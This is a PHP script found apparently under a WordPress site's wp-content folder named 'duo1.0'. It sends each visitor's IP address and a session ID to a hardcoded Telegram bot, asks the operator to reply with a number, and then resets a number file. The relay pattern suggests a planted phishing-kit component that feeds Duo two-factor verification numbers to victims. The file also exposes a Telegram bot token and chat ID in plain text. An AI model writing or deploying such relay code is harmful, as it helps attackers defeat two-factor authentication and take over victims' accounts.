File: /home/bluecool/domains/bluecool.vn/public_html/wp-content/duo1.0/bot.php
<?php
session_start(); // Ensure the session is started
// Define the bot token and chat ID
$botToken = "7679155704:AAEwWc0SYKwYW8J92h3xQW0Q2hTdsqcoIys";
$chatId = "307817235";
// Get the season ID from the session
$seasonId = $_SESSION['season_id'] ?? '';
// Create the message to be sent to Telegram
$message = "Hello, a number has been requested from IP address " . $_SERVER['REMOTE_ADDR'] . ". For season ID $seasonId, please reply with the format: $seasonId/your_number.";
// Send the request to the Telegram bot
$url = "https://api.telegram.org/bot$botToken/sendMessage?chat_id=$chatId&text=" . urlencode($message);
$response = file_get_contents($url);
// Clear the number in selected_number.txt to prepare for a new number
$filename = "selected_number.txt"; // Ensure you use the correct file path
if (file_exists($filename)) {
file_put_contents($filename, ''); // Clear the content of the file
}
// Log success or failure of the message sending process
if ($response === false) {
echo "Error: Failed to send message to Telegram bot.";
} else {
echo "Message sent to Telegram bot successfully.";
}
?>